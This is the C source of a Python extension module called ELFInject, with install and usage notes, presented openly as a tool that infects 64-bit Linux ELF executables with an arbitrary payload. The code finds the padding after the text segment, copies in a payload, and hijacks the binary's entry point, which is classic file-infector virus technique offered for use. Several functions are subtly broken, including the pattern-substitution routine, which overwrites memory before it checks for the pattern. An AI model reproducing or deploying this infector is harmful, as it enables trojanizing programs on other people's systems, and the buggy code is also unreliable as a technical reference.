ELFInject Python Module

/*
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; even without the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program.  If not, see <http://www.gnu.org/licenses/>.

Python module created by 0x00sec_JINX: https://0x00sec.org/users/0x00_jinx
Original post by 0x00pf: https://0x00sec.org/t/elfun-file-injector/410

Installation (Linux):
(All code posted on my Pastebin is designed for Linux (Debian-based))
1) Save the following code in a file called 'setup.py':
    from distutils.core import setup, Extension

    module = Extension("ELFInject",
                sources=["ELFInject_module.c"])

    setup(name = "ELFInject",
                description = "C module that infects an ELF file with a specified payload",
                ext_modules = [module])
2) Run the following command in your terminal:
    'python setup.py build && sudo python setup.py install'

3) Import your new module inside a python file:
    import ELFInject


Usage:
    inject_file(<.elf file>, <payload>)

    All error checking is performed inside the module
    so the user only has to call one function. The module
    will throw errors if something is not correct, so try
    to receive the errors with a try/except model.
    Example:

        import ELFInject

        elf_file = input("Enter the .elf file\n>>> ")
        payload_file = input("Enter the payload file\n>>> ")
        try:
            ELFInject.inject_file(elf_file,payload_file)
        except Exception,e:
            print e
            return 1;
*/


#include <Python.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <elf.h>
#include <sys/mman.h>


static int get_file_size(int fd);
int checkFile(char *ftc);
int elfi_open_and_map(char *fname, void **data, int *len);
Elf64_Phdr* elfi_find_gap(void *d, int fsize, int *p, int *len);
Elf64_Shdr* elfi_find_section(void *data, char *name);
int elfi_mem_subst(void *m, int len, long pat, long val);
#ifdef DEBUG
    void elfi_dump_segments(void *d);
#endif

static PyObject* ELFInjectError;

static PyObject* ELFInject_main(PyObject* self, PyObject* args){

    void *d, *d1;
    int target_fd, payload_fd;
    int fsize, fsize1;
    char* argv1;
    char* argv2;
    Elf64_Ehdr* elf_hdr;
    Elf64_Phdr *t_text_seg;
    Elf64_Shdr *p_text_sec;
    Elf64_Addr base, ep;
    int p,len;

    Py_INCREF(Py_None);

    if(!PyArg_ParseTuple(args,"ss",&argv1,&argv2)){

        //Error handling
        PyErr_SetString(ELFInjectError,"Error: invalid Arguments\nUsage: inject_file(elf_file, payload)");
        return NULL; //send error to Python Interpreter
    }

    char ftc[strlen(argv1)];
    memmove(ftc,argv1,strlen(argv1));
    ftc[strlen(argv1)] = '\0';

    if((checkFile(ftc)) != 0){
        PyErr_SetString(ELFInjectError,"Error: The first parameter must be a .elf file");
        return NULL;
    }

    target_fd = elfi_open_and_map(argv1,&d,&fsize);

    elf_hdr = (Elf64_Ehdr *) d;
    ep = elf_hdr->e_entry;
    fprintf(stdout,"Target Entry point: %p\n", (void*)ep);

#ifdef DEBUG
    elfi_dump_segments(d);
#endif

    t_text_seg = elfi_find_gap(d,fsize,&p,&len);
    base = t_text_seg->p_vaddr;

    fprintf(stdout,"Base Address:: 0x%p\n", (void*)base);

    payload_fd = elfi_open_and_map(argv2,&d1,&fsize1);
    p_text_sec = elfi_find_section(d1, ".text");

    fprintf(stdout,"Payload .text section found at %lx (%lx bytes)\n", p_text_sec->sh_offset, p_text_sec->sh_size);

    if(p_text_sec->sh_size > len){
        fprintf(stderr,"Payload too big, cannot infect file.\nTry a smaller payload!\n");
        exit(1);
    }

    memmove(d + p, d1 + p_text_sec->sh_offset, p_text_sec->sh_size);
    elfi_mem_subst(d+p, p_text_sec->sh_size, 0x11111111, (long)ep);

    elf_hdr->e_entry = (Elf64_Addr) (base + p);

    fprintf(stdout,"Payload installed successfully.\n");

    close(payload_fd);
    close(target_fd);

    return Py_None;
}

int checkFile(char *ftc){
    char* stringCmp = ".elf";
    char* newftc = ftc;
    char fnameBuff[(strlen(ftc)+1)];

    if((strlen(ftc)) < 4){
        return 1;
    }

    while((strlen(newftc)) != 4){
        memmove(fnameBuff, newftc+1, strlen(fnameBuff));
        memmove(newftc, newftc+1, strlen(newftc));
    }

    if((strcmp(stringCmp,fnameBuff)) != 0){
        return 1;
    }

    return 0;
}

int elfi_open_and_map(char *fname, void **data, int *len){

    int size, fd;

    //open the ELF file
    if((fd = open(fname,O_APPEND | O_RDWR, 0)) < 0){
        perror("open:");
        exit(1);
    }

    //get the file size and map the file to memory
    size = get_file_size(fd);
    if((*data = mmap(0,size,PROT_READ| PROT_WRITE| PROT_EXEC, MAP_SHARED, fd, 0)) == MAP_FAILED){
        perror("mmap:");
        exit(1);
    }

    fprintf(stdout,"File mapped (%d bytes) at %p\n",size,data);
    *len = size;
    return fd;

}

static int get_file_size(int fd){
    struct stat _info;
    fstat(fd,&_info);
    return _info.st_size;
}

#ifdef DEBUG
void elfi_dump_segments(void *d){
    Elf64_Ehdr* elf_hdr = (Elf64_Ehdr *) d;
    Elf64_Phdr* elf_seg;
    int n_seg = elf_hdr->e_phnum;
    int i;

    elf_seg = (Elf64_Phdr *) ((unsigned char*) elf_hdr + (unsigned int) elf_hdr->e_phoff);

    for(i=0;i<n_seg;i++){
        fprintf(stdout,"[INFO] Segment %d: Type: %8x (%x) Offset: %8x "
               "FSize:%8x MSize:%8x\n",
               (unsigned int)elf_seg->p_offset,
               (unsigned int)elf_seg->p_filesz,
               (unsigned int)elf_seg->p_memsz);

        elf_seg = (Elf64_Phdr *) ((unsigned char*) elf_seg + (unsigned int) elf_hdr->e_phentsize);
    }
}
#endif

Elf64_Phdr* elfi_find_gap(void *d, int fsize, int *p, int *len){
    Elf64_Ehdr* elf_hdr = (Elf64_Ehdr *)d;
    Elf64_Phdr* elf_seg, *text_seg;
    int n_seg = elf_hdr->e_phnum;
    int i, text_end, gap=fsize;

    elf_seg = (Elf64_Phdr *) ((unsigned char*) elf_hdr + (unsigned int) elf_hdr->e_phoff);

    for(i = 0; i < n_seg; i++){
        if(elf_seg->p_type == PT_LOAD && elf_seg->p_flags & 0x011){
            fprintf(stdout,"Found .text segment(#%d)\n",i);
            text_seg = elf_seg;
            text_end = elf_seg->p_offset + elf_seg->p_filesz;
        }else{
            if(elf_seg->p_type == PT_LOAD && (elf_seg->p_offset - text_end) < gap){
                fprintf(stdout,"Found LOAD segment (#%d) close to .text (offset: 0x%x)\n",i,(unsigned int)elf_seg->p_offset);
                gap = elf_seg->p_offset - text_end;
            }
        }

        elf_seg = (Elf64_Phdr *) ((unsigned char*) elf_seg + (unsigned int) elf_hdr->e_phentsize);
    }
    *p = text_end;
    *len = gap;

    fprintf(stdout,".text segment gap at offset 0x%x(0x%x bytes available)\n", text_end, gap);

    return text_seg;
}

Elf64_Shdr* elfi_find_section(void *data, char *name){
    char *sname;
    int i;
    Elf64_Ehdr* elf_hdr = (Elf64_Ehdr *) data;
    Elf64_Shdr *shdr = (Elf64_Shdr *)(data + elf_hdr->e_shoff);
    Elf64_Shdr *sh_strtab = &shdr[elf_hdr->e_shstrndx];
    const char *const sh_strtab_p = data + sh_strtab->sh_offset;

    fprintf(stdout,"%d section(s) in file Looking for section '%s'\n",elf_hdr->e_shnum,name);

    for (i = 0; i < elf_hdr->e_shnum; i++){
        sname = (char*) (sh_strtab_p + shdr[i].sh_name);
        if(!strcmp(sname,name)) return &shdr[i];
    }

    return NULL;
}

int elfi_mem_subst(void *m, int len, long pat, long val){
    unsigned char *p = (unsigned char*)m;
    long v;
    int i,r;

    for(i = 0; i < len; i++){
        v = *((long*)(p+i)) = val;
        r = v ^pat;

        if (r==0){
            fprintf(stdout,"Pattern %lx found at offset %d -> %lx\n", pat, i, val);
            *((long*)(p+i)) = val;
            return 0;
        }
    }
    return -1;
}

static PyMethodDef ELFInject_methods[] = {

    //Python Func Name          C Func Name             Argument count              Description (Optional)
    {"inject_file",             ELFInject_main,         METH_VARARGS,               NULL},
    {NULL,NULL,0,NULL}          // Ending Sentinel

};

PyMODINIT_FUNC initELFInject(void){

    PyObject *m;
    m = Py_InitModule("ELFInject", ELFInject_methods);
    if(m == NULL){

        return;

    }

    ELFInjectError = PyErr_NewException("ELFInject.error",NULL,NULL); // "ELFInject.error" The module's error object
    Py_INCREF(ELFInjectError);

    PyModule_AddObject(m,"error",ELFInjectError);

}